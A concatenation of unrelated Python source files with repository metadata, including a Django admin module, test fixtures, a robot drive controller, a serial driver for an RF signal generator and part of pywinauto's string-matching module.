paid(self, obj): return "No" if obj.in_trial_mode else "Yes" def _get_ngo_admin(self, organization): user_profiles = NGOUserProfile.objects.filter(org_id=organization.org_id) admin_users = [x.user for x in user_profiles if x.user.groups.filter(name="NGO Admins")] #right now there is only one ngo admin return admin_users[0] if is_not_empty(admin_users) else NullAdmin() def admin_email(self, obj): return self._get_ngo_admin(obj).email def admin_office_phone(self, obj): admin_user = self._get_ngo_admin(obj) return admin_user.get_profile().office_phone def admin_mobile_number(self, obj): admin_user = self._get_ngo_admin(obj) return admin_user.get_profile().mobile_phone def admin_name(self, obj): admin_user = self._get_ngo_admin(obj) return admin_user.first_name def complete_address(self, obj): complete_address = [obj.address, obj.addressline2, obj.city, obj.zipcode, obj.state, obj.country_name()] return ", ".join([element for element in complete_address if is_not_empty(element)]) def get_readonly_fields(self, request, obj=None): if obj: return self.readonly_fields + ('status',) return self.readonly_fields class NullAdmin: def __init__(self): self.email = '' self.mobile_phone = '' self.office_phone = '' self.first_name = '' def get_profile(self): return self class CountryAdmin(admin.ModelAdmin): ordering = ('country_name_en',) list_display = ('country_name_en', 'country_code') class NetworkAdmin(admin.ModelAdmin): ordering = ('network_name',) list_display = ('network_name', 'trial_sms_number', 'country_name') filter_horizontal = ['country'] def country_name(self, obj): return ' ,'.join([country.country_name for country in obj.country.all()]) class UserAdminForm(forms.ModelForm): class Meta: model = User def clean(self): cleaned_data = self.cleaned_data if 'email' in cleaned_data: username = cleaned_data.get('email').strip() if not len(username): raise forms.ValidationError("This email address is required") existing_users_with_username = User.objects.filter(username=username) if existing_users_with_username.count() > 0 and existing_users_with_username[0] != self.instance: raise forms.ValidationError( "This email address is already in use. Please supply a different email address") cleaned_data['email'] = username return cleaned_data class NgoUserAdmin(DatawinnerAdmin): list_display = ('organization_name', 'country', 'organization_id', 'admin_name', 'admin_email') fields = ('email', ) form = UserAdminForm def organization_name(self, obj): profile = obj.get_profile() return Organization.objects.get(org_id=profile.org_id).name def country(self, obj): return (Organization.objects.get(org_id=obj.get_profile().org_id)).country_name() def organization_id(self, obj): return obj.get_profile().org_id def admin_name(self, obj): return obj.first_name def admin_email(self, obj): return obj.email def queryset(self, request): qs = super(NgoUserAdmin, self).queryset(request) return qs.filter(groups=Group.objects.filter(name="NGO Admins")) def save_model(self, request, obj, form, change): username = form.cleaned_data['email'] obj.username = username obj.email = username obj.save() class DWUserChangeForm(UserChangeForm): organization_id = CharField(label="Organization ID") def __init__(self, *args, **kwargs): super(DWUserChangeForm, self).__init__(*args, **kwargs) self.fields['organization_id'] = CharField(label="Organization ID") if self.instance: self.organization_id_field() self.fields['password'].widget.attrs['readonly'] = 'readonly' self.fields['first_name'].label = "Name" class Meta: model = User def organization_id_field(self): org_id = '' try: user_profile = NGOUserProfile.objects.get(user=self.instance) org_id = user_profile.org_id except: pass self.fields['organization_id'] = CharField(label="Organization ID", initial=org_id) def clean_organization_id(self): org_id = self.cleaned_data.get('organization_id', '') try: org = Organization.objects.get(org_id__iexact=org_id) return org.org_id except Organization.DoesNotExist: raise ValidationError('Organization with id : %s does not exist.Please enter a valid id' % org_id) def _remove_default_name_fields(): user_display_fields = list(UserAdmin.list_display) user_display_fields.remove('first_name') user_display_fields.remove('last_name') return tuple(user_display_fields) def export_user_list_to_excel(a,b,c): #Custom Method to export user details. def is_required(user): return True if user.groups.filter(name="NGO Admins").count() or user.groups.filter(name="Project Managers").count() else False def user_role(user): if user.groups.filter(name='NGO Admins').count(): return 'Admin' elif user.groups.filter(name='Project Managers').count(): return 'User' list = [] for ngo_user in NGOUserProfile.objects.all(): try: user = User.objects.get(id=ngo_user.user_id) if is_required(user) and not user.is_superuser: details = [] details.append(user.first_name + ' ' + user.last_name) details.append(user.username) org_id = ngo_user.org_id organization = Organization.objects.get(org_id = org_id) details.append(organization.name) details.append(organization.status) details.append(organization.language) details.append(user_role(user)) list.append(details) except Exception: continue headers = ['Name', 'email', 'Organization Name', 'Status', 'Account language','User Role'] response = create_excel_response(headers,list,'user_list') return response class DWUserAdmin(UserAdmin): list_filter = ('groups__name',) UserAdmin.fieldsets = ( (None, {'fields': ('username', 'password')}), (_('Personal info'), {'fields': ('first_name', 'email')}), (_('Permissions'), {'fields': ('is_active', 'is_staff', 'is_superuser')}), (_('Important dates'), {'fields': ('last_login', 'date_joined')}), (_('Membership'), {'fields': ('groups', 'organization_id')}), ) readonly_fields = ('last_login', 'date_joined') list_display = _remove_default_name_fields() + ('name','organization_name', 'organization_id') form = DWUserChangeForm actions = [export_user_list_to_excel] def name(self,obj): return obj.first_name def organization_name(self, obj): org_id = NGOUserProfile.objects.get(user=obj).org_id return Organization.objects.get(org_id=org_id).name def organization_id(self, obj): return NGOUserProfile.objects.get(user=obj).org_id def save_model(self, request, obj, form, change): super(DWUserAdmin, self).save_model(request, obj, form, change) if change: if 'email' in form.changed_data or 'username' in form.changed_data: try: existing_digests = PartialDigest.objects.filter(user=obj) if existing_digests: for existing_digest in existing_digests: existing_digest.delete() except PartialDigest.DoesNotExist: pass if form.cleaned_data.get('organization_id') is not None: try: user_profile = NGOUserProfile.objects.get(user=obj) user_profile.org_id = form.cleaned_data['organization_id'] user_profile.save() except NGOUserProfile.DoesNotExist: user_profile = NGOUserProfile() user_profile.org_id = form.cleaned_data['organization_id'] user_profile.title = 'Title' user_profile.user = obj user_profile.save() admin.site.unregister(Group) admin.site.unregister(User) admin.site.register(OrganizationSetting, OrganizationSettingAdmin) admin.site.register(OutgoingNumberSetting, admin.ModelAdmin) admin.site.register(SMSC, admin.ModelAdmin) admin.site.register(MessageTracker, MessageTrackerAdmin) admin.site.register(Organization, OrganizationAdmin) admin.site.register(Country, CountryAdmin) admin.site.register(Network, NetworkAdmin) admin.site.register(User, DWUserAdmin)

44.194595

218

0.677471

21,064

0.858774

0

5,384

0.219504

cddabebcaa2a91087a2f9f94dcd4f545a6f38cff

283

py

Python

tests/conftest.py

bayashi-cl/expander

b3623b656a71801233797e05781295a6101fefd8

[ "CC0-1.0" ]

null

tests/conftest.py

bayashi-cl/expander

b3623b656a71801233797e05781295a6101fefd8

[ "CC0-1.0" ]

1

2022-03-12T20:41:21.000Z

2022-03-13T06:34:30.000Z

tests/conftest.py

bayashi-cl/expander

b3623b656a71801233797e05781295a6101fefd8

[ "CC0-1.0" ]

null

import pytest from unittest import mock import os import pathlib @pytest.fixture(scope="session", autouse=True) def set_pythonpath(): testlib_path = pathlib.Path.cwd() / "tests" / "testlib" with mock.patch.dict(os.environ, {"PYTHONPATH": str(testlib_path)}): yield

23.583333

72

0.713781

0

168

0.59364

215

0.759717

0

37

0.130742

cddacc9ad1d4172e5208503da82fc4edfb83363e

1,870

py

Python

init/global_eq_FCtest/setup_fns.py

mattzett/GEMINI-examples

9932cee67e88898bd00c34bab7ac0568e92e40ca

[ "Apache-2.0" ]

1

2020-03-20T22:19:05.000Z

init/global_eq_FCtest/setup_fns.py

mattzett/GEMINI-examples

9932cee67e88898bd00c34bab7ac0568e92e40ca

[ "Apache-2.0" ]

3

2020-02-14T14:36:27.000Z

2020-04-03T21:06:27.000Z

init/global_eq_FCtest/setup_fns.py

mattzett/GEMINI-examples

9932cee67e88898bd00c34bab7ac0568e92e40ca

[ "Apache-2.0" ]

null

# This is mostly a repeat of model.setup from the pygemini repository except for that it setups up a periodic # grid for us in full-globe simulations. from __future__ import annotations import argparse from pathlib import Path import typing as T import shutil import os from gemini3d.config import read_nml import gemini3d.model def model_setup(path: Path | dict[str, T.Any], out_dir: Path, gemini_root: Path = None): """ top-level function to create a new simulation FROM A FILE config.nml Parameters ---------- path: pathlib.Path path (directory or full path) to config.nml out_dir: pathlib.Path directory to write simulation artifacts to """ # %% read config.nml if isinstance(path, dict): cfg = path elif isinstance(path, (str, Path)): cfg = read_nml(path) else: raise TypeError("expected Path to config.nml or dict with parameters") if not cfg: raise FileNotFoundError(f"no configuration found for {out_dir}") cfg["dphi"]=90.0 cfg["out_dir"] = Path(out_dir).expanduser().resolve() if gemini_root: cfg["gemini_root"] = Path(gemini_root).expanduser().resolve(strict=True) for k in {"indat_size", "indat_grid", "indat_file"}: cfg[k] = cfg["out_dir"] / cfg[k] # FIXME: should use is_absolute() ? for k in {"eq_dir", "eq_archive", "E0dir", "precdir"}: if cfg.get(k): cfg[k] = (cfg["out_dir"] / cfg[k]).resolve() # %% copy input config.nml to output dir input_dir = cfg["out_dir"] / "inputs" input_dir.mkdir(parents=True, exist_ok=True) shutil.copy2(cfg["nml"], input_dir) os.environ["GEMINI_ROOT"]="~/libs/bin/" # %% is this equilibrium or interpolated simulation if "eq_dir" in cfg: gemini3d.model.interp(cfg) else: gemini3d.model.equilibrium(cfg)

29.68254

109

0.652941

0

833

0.445455

cddc0485c396754b68315d1f0f82db760ff25dc5

2,580

py

Python

floodfill_pathfinding.py

mnursey/Battlesnake-2021

884b9cf1b40c9b03cc49bd1594135e7caf41ee82

[ "MIT" ]

null

floodfill_pathfinding.py

mnursey/Battlesnake-2021

884b9cf1b40c9b03cc49bd1594135e7caf41ee82

[ "MIT" ]

null

floodfill_pathfinding.py

mnursey/Battlesnake-2021

884b9cf1b40c9b03cc49bd1594135e7caf41ee82

[ "MIT" ]

null

import board class Floodfill: frontier = [] grid = None board = None def __init__(self, game_board, start_cord): self.board = game_board self.grid = [[None for i in range(self.board.width)] for j in range(self.board.width)] start_node = self.create_node(start_cord["x"], start_cord["y"], False, None) self.frontier_add(start_node) self.grid[start_cord['x']][start_cord['y']] = start_node self.solve() return def solve(self): while len(self.frontier) > 0: current = self.frontier_pop() if not current["blocked"]: for n in self.board.neighbours(current["x"], current["y"]): # Add to frontier if we haven't seen it if self.grid[n['x']][n['y']] == None: unseen_node = self.create_node(n['x'], n['y'], self.board.isBlocked(n['x'], n['y']), current) self.grid[n['x']][n['y']] = unseen_node self.frontier_add(unseen_node) return def path(self, target_cord): node = self.grid[target_cord['x']][target_cord['y']] path = [] while node: path.append({"x" : node["x"], "y" : node["y"]}) node = node["from"] path.reverse() return path def frontier_add(self, node): self.frontier.append(node) return def frontier_pop(self): return self.frontier.pop(0) def create_node(self, x, y, blocked, prev): return {"x" : x, "y" : y, "blocked" : blocked, "from" : prev} def print(self): output = "Grid:\n" for y in range(self.board.width): line = "\n" for x in range(self.board.width): node = self.grid[x][self.board.width - y - 1] value = "-" if node: if node["from"] == None: value = "s" elif node["blocked"]: value = "x" else: if node["from"]["x"] < node["x"]: value = "<" if node["from"]["x"] > node["x"]: value = ">" if node["from"]["y"] < node["y"]: value = "v" if node["from"]["y"] > node["y"]: value = "^" line = line + value output += line print(output) return

27.446809

117

0.445736

2,565

0.994186

0

232

0.089922

cddc0ce80665ce382edeabc67713697083130041

3,736

py

Python

Gobot-Omni/robot.py

FRC1076/2019-Parade

3824449ed10e33b401efb646fd2e6470c3941c8b

[ "MIT" ]

null

Gobot-Omni/robot.py

FRC1076/2019-Parade

3824449ed10e33b401efb646fd2e6470c3941c8b

[ "MIT" ]

2

2019-06-17T23:38:23.000Z

2019-06-17T23:39:43.000Z

Gobot-Omni/robot.py

FRC1076/2019-Parade

3824449ed10e33b401efb646fd2e6470c3941c8b

[ "MIT" ]

null

import wpilib import ctre from wpilib.drive import DifferentialDrive from wpilib.interfaces import GenericHID #MOTOR PORTS LEFT = 1 RIGHT = 3 CENTER1 = 2 CENTER2 = 4 #BALL MANIPULATOR BALL_MANIP_ID = 5 GATHER_SPEED = 1.0 SPIT_SPEED = -1.0 STOP_SPEED = 0.0 LEFT_HAND = GenericHID.Hand.kLeft RIGHT_HAND = GenericHID.Hand.kRight class MyRobot(wpilib.TimedRobot): def robotInit(self): """Robot initialization function""" # object that handles basic drive operations self.leftVictor = ctre.WPI_VictorSPX(LEFT) self.rightVictor = ctre.WPI_VictorSPX(RIGHT) self.centerVictor1 = ctre.WPI_VictorSPX(CENTER1) self.centerVictor2 = ctre.WPI_VictorSPX(CENTER2) self.left = wpilib.SpeedControllerGroup(self.leftVictor) self.right = wpilib.SpeedControllerGroup(self.rightVictor) self.center1 = wpilib.SpeedControllerGroup(self.centerVictor1) self.center2 = wpilib.SpeedControllerGroup(self.centerVictor2) self.myRobot = DifferentialDrive(self.left, self.right) self.myRobot.setExpiration(0.1) # joysticks 1 & 2 on the driver station # self.leftStick = wpilib.Joystick(0) # self.rightStick = wpilib.Joystick(1) self.DEADZONE = 0.4 self.LEFT = GenericHID.Hand.kLeft self.RIGHT = GenericHID.Hand.kRight self.driver = wpilib.XboxController(0) self.ballManipulator = BallManipulator(ctre.WPI_VictorSPX(BALL_MANIP_ID)) def autonomousInit(self): self.myRobot.tankDrive(0.8, 0.8) def autonomousPeriodic(self): self.myRobot.tankDrive(1, 0.5) def teleopInit(self): """Executed at the start of teleop mode""" self.myRobot.setSafetyEnabled(True) def setCenters(self, speed_value): self.center1.set(-speed_value) self.center2.set(speed_value) def deadzone(self, val, deadzone): if abs(val) < deadzone: return 0 return val def teleopPeriodic(self): ballMotorSetPoint = 0 if self.driver.getBumper(self.LEFT): ballMotorSetPoint = 1.0 elif self.driver.getBumper(self.RIGHT): ballMotorSetPoint = -1.0 else: ballMotorSetPoint = 0.0 self.ballManipulator.set(ballMotorSetPoint) """Runs the motors with tank steering""" #right = self.driver.getY(self.RIGHT) #left = self.driver.getY(self.LEFT) #self.myRobot.tankDrive(right, left) forward = -self.driver.getRawAxis(5) rotation_value = rotation_value = self.driver.getX(LEFT_HAND) forward = deadzone(forward, 0.2) self.myRobot.arcadeDrive(forward, rotation_value) center_speed = self.driver.getX(self.RIGHT) self.setCenters(self.deadzone(center_speed, self.DEADZONE)) class BallManipulator: """ Manipulator wraps a motor controller that gathers and spits out the cargo balls. """ def __init__(self, motor): self.motor = motor def gather(self, speed = GATHER_SPEED): self.motor.set(speed) def spit(self, speed = SPIT_SPEED): self.motor.set(speed) def stop(self): self.motor.set(STOP_SPEED) def set(self, setValue): """ Direct control to be used with a controller that puts out f, 0, and -f for gather, stop, and spit, respectively. """ self.motor.set(setValue) def deadzone(val, deadzone): if abs(val) < deadzone: return 0 elif val < (0): x = ((abs(val) - deadzone)/(1-deadzone)) return (-x) else: x = ((val - deadzone)/(1-deadzone)) return (x) if __name__ == "__main__": wpilib.run(MyRobot)

27.470588

81

0.646413

3,115

0.833779

0

674

0.180407

cddcaaf10bf47f30133fae7ab0e9db139ac2e1cc

1,789

py

Python

src/tests/test_decorators.py

elifesciences/builder

161829686f777f7ac7f97bd970395886ba5089c1

[ "MIT" ]

11

2017-03-01T18:00:30.000Z

2021-12-10T05:11:02.000Z

src/tests/test_decorators.py

elifesciences/builder

161829686f777f7ac7f97bd970395886ba5089c1

[ "MIT" ]

397

2016-07-08T14:39:46.000Z

2022-03-30T12:45:09.000Z

src/tests/test_decorators.py

elifesciences/builder

161829686f777f7ac7f97bd970395886ba5089c1

[ "MIT" ]

14

2016-07-13T08:33:28.000Z

2020-04-22T21:42:21.000Z

from . import base from mock import patch import decorators class TestDecorators(base.BaseCase): @patch('decorators.LOG.info') def test_timeit_smoke_test(self, info): @decorators.timeit def some_task(param, **kwargs): pass some_task(42, option='value') (args, _) = info.call_args self.assertIsInstance(args[0], str) self.assertEqual(args[1], 'some_task') self.assertEqual(args[2], (42,)) self.assertEqual(args[3], {'option': 'value'}) self.assertIsInstance(args[4], float) self.assertGreater(args[4], 0.0) def test_deffile(self): self.assertEqual('/tmp/template.json', decorators.deffile('template.json')) def test_setdefault(self): decorators.setdefault('.active-stack', 'lax--ci') with open('/tmp/.active-stack') as f: self.assertEqual(f.read(), 'lax--ci') @patch('buildercore.core.active_stack_names', return_value=['dummy1--ci']) @patch('utils.get_input', return_value='1') def test_requires_aws_project_stack(self, get_input, active_stack_names): @decorators.requires_aws_project_stack('dummy1') def some_task(stackname): self.assertEqual('dummy1--ci', stackname) return 'result' self.assertEqual(some_task('dummy1--ci'), 'result') @patch('buildercore.core.active_stack_names', return_value=['dummy1--ci', 'dummy1--end2end']) @patch('utils.get_input', return_value='2') def test_requires_aws_stack(self, get_input, active_stack_names): @decorators.requires_aws_stack def some_task(stackname): self.assertEqual('dummy1--end2end', stackname) return 'result' self.assertEqual(some_task('dummy1--end2end'), 'result')

38.06383

97

0.653438

1,727

0.965344

0

1,375

0.768586

0

395

0.220794

cddea9a721eee8e3cc13555afb08ee013159480b

2,158

py

Python

integration/emulator/device.py

cvlabmiet/master-programming-example

8a4a231ba2b72a93ae14da2c04e17b2ae3fc6651

[ "MIT" ]

null

integration/emulator/device.py

cvlabmiet/master-programming-example

8a4a231ba2b72a93ae14da2c04e17b2ae3fc6651

[ "MIT" ]

null

integration/emulator/device.py

cvlabmiet/master-programming-example

8a4a231ba2b72a93ae14da2c04e17b2ae3fc6651

[ "MIT" ]

null

import re, operator, array from collections import namedtuple class Argument(object): def __init__(self, viewtype, begin, end=None): self.type = viewtype self.begin = int(begin) self.end = None if end is not None: self.end = int(end) class Lram(bytearray): pass class Pram(Lram): def __init__(self): # grammar: [<output>]<operation>(<input0>[, <input1>, ...]) # <output>, <input0>, ... - <type>:<begin>[:<end>] (begin, end - bytes offsets) # <type> - u8, i8, u16, i16, ... # <operation> - add, sub, div, mod, mul, ... # <begin>, <end> - int # example: [s16:200:400]add(u8:0, u8:100) self.instruction = re.compile(r'\[(?P<out>[^\]]+)\](?P<op>\w+)$(?P<in>[^$]+)\)') self.operation = dict(add=operator.add, mul=operator.mul, mod=operator.mod, sub=operator.sub, div=operator.truediv) self.type = dict(i8='b', u8='B', i16='h', u16='H', i32='l', u32='L', f32='f') def _parse_arguments(self, op, lram): arguments = [Argument(*x.split(':')) for x in op.split(',')] return [memoryview(lram)[x.begin:x.end].cast(self.type[x.type]) for x in arguments] def _vectorize(self, op, output, inputs): for x in zip(range(len(output)), *inputs): output[x[0]] = op(*x[1:]) def run(self, lram): operations = self.instruction.findall(str(self).replace(' ', '')) for op in operations: outputs = self._parse_arguments(op[0], lram) inputs = self._parse_arguments(op[2], lram) self._vectorize(self.operation[op[1]], outputs[0], inputs) class Unit(object): def __init__(self): self.lram = Lram() self.pram = Pram() class Ctrl(list): def __init__(self, units): self.units = units def wait(self): if len(self) == 0: return [] number = self.pop(0); unit = self.units[number] unit.pram.run(unit.lram) return [number] class Device(object): def __init__(self, units): self.units = [Unit() for _ in range(units)]; self.ctrl = Ctrl(self.units)

33.2

123

0.561631

2,084

0.965709

0

360

0.166821

cde0f842eb62a19de3f38d4d8d1f8ff65a2ce325

10,538

py

Python

Ramsey_RF_generator.py

bopopescu/Lauecollect

60ae2b05ea8596ba0decf426e37aeaca0bc8b6be

[ "MIT" ]

null

Ramsey_RF_generator.py

bopopescu/Lauecollect

60ae2b05ea8596ba0decf426e37aeaca0bc8b6be

[ "MIT" ]

1

2019-10-22T21:28:31.000Z

2019-10-22T21:39:12.000Z

Ramsey_RF_generator.py

bopopescu/Lauecollect

60ae2b05ea8596ba0decf426e37aeaca0bc8b6be

[ "MIT" ]

2

2019-06-06T15:06:46.000Z

2020-07-20T02:03:22.000Z

""" Ramsay RSG1000B RF Signal Generator, controlled via RS-323 interface See: Ramsay RSG1000B RF Signal Generator User Guide, p.10-11 Settings: 9600 baud, 8 bits, parity none, stop bits 1, flow control none DB09 connector pin 2 = TxD, 3 = RxD, 5 = Ground The controller accepts unterminate ASCII text commands and generates newline- terminated ASCII text replies. Commands: {255 - Initiate communication by addressing device number 255 (default device number). Reply "\r\n". (Before that command all command with be ignored.) GO - Get " RF ON\r\n" or " RF OFF\r\n" O - Toggle RF on/off, reply: " " Cabling: "Pico8" iMac -> Prolific USB-SErial 2303 cable -> DB--9 female gender changer -> Ramsay RSG1000B RF Signal Generator, DB-9 male serial port Authors: Friedrich Schotte Date created: 2018-01-22 Date last modified: 2018-01-23 """ from logging import error,warn,info,debug __version__ = "1.0" class RamseyRFDriver(object): """Ramsay RSG1000B RF Signal Generator""" name = "Ramsey_RF" timeout = 1.0 baudrate = 9600 id_query = "{255" id_reply = "\r\n" id_reply_length = 2 wait_time = 0 # bewteen commands last_reply_time = 0.0 def id_reply_valid(self,reply): valid = (reply == self.id_reply) debug("Reply %r valid? %r" % (reply,valid)) return valid # Make multithread safe from thread import allocate_lock __lock__ = allocate_lock() port = None @property def port_name(self): """Serial port name""" if self.port is None: value = "" else: value = self.port.name return value COMM = port_name @property def connected(self): return self.port is not None @property def online(self): if self.port is None: self.init_communications() online = self.port is not None if online: debug("Device online") else: warn("Device offline") return online def query(self,command,count=None): """Send a command to the controller and return the reply""" with self.__lock__: # multithread safe for i in range(0,2): try: reply = self.__query__(command,count=count) except Exception,msg: warn("query: %r: attempt %s/2: %s" % (command,i+1,msg)) reply = "" if reply: return reply self.init_communications() return reply def __query__(self,command,count=None): """Send a command to the controller and return the reply""" from time import time from sleep import sleep sleep(self.last_reply_time + self.wait_time - time()) self.write(command) reply = self.read(count=count) self.last_reply_time = time() return reply def write(self,command): """Send a command to the controller""" if self.port is not None: self.port.write(command) debug("%s: Sent %r" % (self.port.name,command)) def read(self,count=None,port=None): """Read a reply from the controller, count: from non-terminated replies: number of bytes expected If count is None, a newline or carriage return is expected to terminate the reply""" ##debug("read count=%r,port=%r" % (count,port)) if port is None: port = self.port if port is not None: port.timeout = self.timeout if count: #print("in wait:" + str(self.port.inWaiting())) debug("Trying to read %r bytes from %s..." % (count,port.name)) reply = port.read(count) else: debug("Expecting newline terminated reply from %s..." % (port.name)) reply = port.readline() debug("%s: Read %r" % (port.name,reply)) else: reply = "" return reply def init_communications(self): """To do before communncating with the controller""" from os.path import exists from serial import Serial if self.port is not None: try: info("Checking whether device is still responsive...") self.port.write(self.id_query) debug("%s: Sent %r" % (self.port.name,self.id_query)) reply = self.read(count=self.id_reply_length) if not self.id_reply_valid(reply): debug("%s: %r: invalid reply %r" % (self.port.name,self.id_query,reply)) info("%s: lost connection" % self.port.name) self.port = None else: info("Device is still responsive.") except Exception,msg: debug("%s: %s" % (Exception,msg)) self.port = None if self.port is None: port_basenames = ["COM"] if not exists("/dev") \ else ["/dev/tty.usbserial","/dev/ttyUSB"] for i in range(-1,50): for port_basename in port_basenames: port_name = port_basename+("%d" % i if i>=0 else "") ##debug("Trying port %s..." % port_name) try: port = Serial(port_name,baudrate=self.baudrate) port.write(self.id_query) debug("%s: Sent %r" % (port.name,self.id_query)) reply = self.read(count=self.id_reply_length,port=port) if self.id_reply_valid(reply): self.port = port info("Discovered device at %s based on reply %r" % (self.port.name,reply)) break except Exception,msg: debug("%s: %s" % (Exception,msg)) if self.port is not None: break def get_RF_on(self): """Is radiofrequency output enabled?""" debug("Reading radiofrequency output state") reply = self.query("GO") # ' RF OFF\r\n' value = "RF ON" in reply if not "RF " in reply: warn("Reading radiofrequency output state unreadable") from numpy import nan value = nan return value def set_RF_on(self,value): if value != self.RF_on: self.query("O",count=1) RF_on = property(get_RF_on,set_RF_on) VAL = RF_on Ramsey_RF_driver = RamseyRFDriver() class RamseyRF_IOC(object): name = "Ramsey_RF_IOC" from persistent_property import persistent_property prefix = persistent_property("prefix","NIH:RF") SCAN = persistent_property("SCAN",1.0) running = False def get_EPICS_enabled(self): return self.running def set_EPICS_enabled(self,value): from thread import start_new_thread if value: if not self.running: start_new_thread(self.run,()) else: self.running = False EPICS_enabled = property(get_EPICS_enabled,set_EPICS_enabled) def run(self): """Run EPICS IOC""" from CAServer import casput,casmonitor,casdel from numpy import isfinite,nan from time import time from sleep import sleep self.running = True casput(self.prefix+".SCAN",self.SCAN) casput(self.prefix+".DESC","State") casput(self.prefix+".EGU","") # Monitor client-writable PVs. casmonitor(self.prefix+".SCAN",callback=self.monitor) casmonitor(self.prefix+".VAL",callback=self.monitor) was_online = False while self.running: if self.SCAN > 0 and isfinite(self.SCAN): SCAN = self.SCAN online = Ramsey_RF_driver.online if online: if online and not was_online: info("Reading configuration...") casput(self.prefix+".COMM",Ramsey_RF_driver.COMM) casput(self.prefix+".SCANT",nan) t = time() casput(self.prefix+".VAL",float(Ramsey_RF_driver.VAL)) sleep(t+1.0*SCAN-time()) casput(self.prefix+".SCANT",time()-t) # post actual scan time for diagnostics else: casput(self.prefix+".VAL",nan) sleep(SCAN) was_online = online else: casput(self.prefix+".SCANT",nan) sleep(0.1) casdel(self.prefix) def monitor(self,PV_name,value,char_value): """Process PV change requests""" from CAServer import casput info("%s = %r" % (PV_name,value)) if PV_name == self.prefix+".SCAN": self.SCAN = float(value) casput(self.prefix+".SCAN",self.SCAN) if PV_name == self.prefix+".VAL": Ramsey_RF_driver.VAL = float(value) casput(self.prefix+".VAL",float(Ramsey_RF_driver.VAL)) Ramsey_RF_IOC = RamseyRF_IOC() def run_IOC(): """Serve the Ensemble IPAQ up on the network as EPICS IOC""" import logging from tempfile import gettempdir logfile = gettempdir()+"/Ramsey_RF.log" logging.basicConfig(level=logging.DEBUG, format="%(asctime)s %(levelname)s: %(message)s", filename=logfile, ) Ramsey_RF_IOC.run() def alias(name): """Make property given by name be known under a different name""" def get(self): return getattr(self,name) def set(self,value): setattr(self,name,value) return property(get,set) from EPICS_motor import EPICS_motor class RamseyRF(EPICS_motor): """Thermoelectric water cooler""" command_value = alias("VAL") # EPICS_motor.command_value not changable port_name = alias("COMM") prefix = alias("__prefix__") # EPICS_motor.prefix not changable RF_on = alias("VAL") # for backward compatbility Ramsey_RF_generator = RamseyRF(prefix="NIH:RF",name="Ramsey_RF") def binstr(n): """binary number representation of n""" s = "" for i in range(31,-1,-1): if (n >> i) & 1: s += "1" elif s != "": s += "0" return s if __name__ == "__main__": # for testing from sys import argv if "run_IOC" in argv: run_IOC() from pdb import pm import logging logging.basicConfig(level=logging.DEBUG, format="%(asctime)s %(levelname)s: %(message)s") self = Ramsey_RF_driver # for debugging print('Ramsey_RF_driver.init_communications()') print("Ramsey_RF_driver.port_name") print("Ramsey_RF_driver.RF_on") print("Ramsey_RF_IOC.run()") print("run_IOC()")

36.089041

101

0.584836

8,235

0.781458

0

455

0.043177

0

3,085

0.29275

cde603f7c8844ec9a35ff25bb6a1c13b5f4bbf79

819

py

Python

modules/file_helper.py

dada00321/ntust_moodle_resource_crawler

cc5d424ab9440d8e67bb072977fc58740d8bc968

[ "MIT" ]

null

modules/file_helper.py

dada00321/ntust_moodle_resource_crawler

cc5d424ab9440d8e67bb072977fc58740d8bc968

[ "MIT" ]

null

modules/file_helper.py

dada00321/ntust_moodle_resource_crawler

cc5d424ab9440d8e67bb072977fc58740d8bc968

[ "MIT" ]

null

import json def save_json(dict_, json_filepath): ''' [Example] Write JSON ''' ''' dict_ = {"0":{"title":"test-A", "is-available": False, "link":"https://www.AAA.XXX..."}, "1":{"title":"test-B", "is-available": True, "link":"https://www.BBB.XXX..."}} with open("dict_.txt", 'w') as output_file: json.dump(dict_, output_file) ''' with open(json_filepath, 'w') as output_file: json.dump(dict_, output_file) def load_json(json_filepath): ''' [Example] Read JSON ''' ''' with open("dict_.txt", 'r') as json_file: dict_ = json.load(json_file) print(dict_) print(type(dict_)) ''' with open(json_filepath, 'r') as json_file: dict_ = json.load(json_file) #print(dict_) #print(type(dict_)) return dict_

31.5

92

0.570208

0

517

0.631258

cde6ca9c0b5b99aea51fe8a0efe3ed98163008e0

17,570

py

Python

win/pywinauto/findbestmatch.py

sk8darr/BrowserRefresh-Sublime

daee0eda6480c07f8636ed24e5c555d24e088886

[ "MIT", "Unlicense" ]

191

2015-01-02T12:17:07.000Z

2021-05-26T09:26:05.000Z

win/pywinauto/findbestmatch.py

sk8darr/BrowserRefresh-Sublime

daee0eda6480c07f8636ed24e5c555d24e088886

[ "MIT", "Unlicense" ]

48

2015-01-14T00:57:36.000Z

2021-04-06T21:45:42.000Z

win/pywinauto/findbestmatch.py

sk8darr/BrowserRefresh-Sublime

daee0eda6480c07f8636ed24e5c555d24e088886

[ "MIT", "Unlicense" ]

36

2015-01-14T18:54:25.000Z

2021-07-18T10:54:42.000Z

# GUI Application automation and testing library # Copyright (C) 2006 Mark Mc Mahon # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public License # as published by the Free Software Foundation; either version 2.1 # of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # See the GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the # Free Software Foundation, Inc., # 59 Temple Place, # Suite 330, # Boston, MA 02111-1307 USA "Module to find the closest match of a string in a list" __revision__ = "$Revision: 679 $" import re import difflib from . import fuzzydict #import ctypes #import ldistance #levenshtein_distance = ctypes.cdll.levenshtein.levenshtein_distance #levenshtein_distance = ldistance.distance # need to use sets.Set for python 2.3 compatability # but 2.6 raises a deprecation warning about sets module try: set except NameError: import sets set = sets.Set find_best_control_match_cutoff = .6 #==================================================================== class MatchError(IndexError): "A suitable match could not be found" def __init__(self, items = None, tofind = ''): "Init the parent with the message" self.tofind = tofind self.items = items if self.items is None: self.items = [] IndexError.__init__(self, "Could not find '%s' in '%s'"% (tofind, self.items)) _cache = {} # given a list of texts return the match score for each # and the best score and text with best score #==================================================================== def _get_match_ratios(texts, match_against): "Get the match ratio of how each item in texts compared to match_against" # now time to figre out the matching ratio_calc = difflib.SequenceMatcher() ratio_calc.set_seq1(match_against) ratios = {} best_ratio = 0 best_text = '' global cache for text in texts: if 0: pass if (text, match_against) in _cache: ratios[text] = _cache[(text, match_against)] elif(match_against, text) in _cache: ratios[text] = _cache[(match_against, text)] else: # set up the SequenceMatcher with other text ratio_calc.set_seq2(text) # try using the levenshtein distance instead #lev_dist = levenshtein_distance(unicode(match_against), unicode(text)) #ratio = 1 - lev_dist / 10.0 #ratios[text] = ratio # calculate ratio and store it ratios[text] = ratio_calc.ratio() 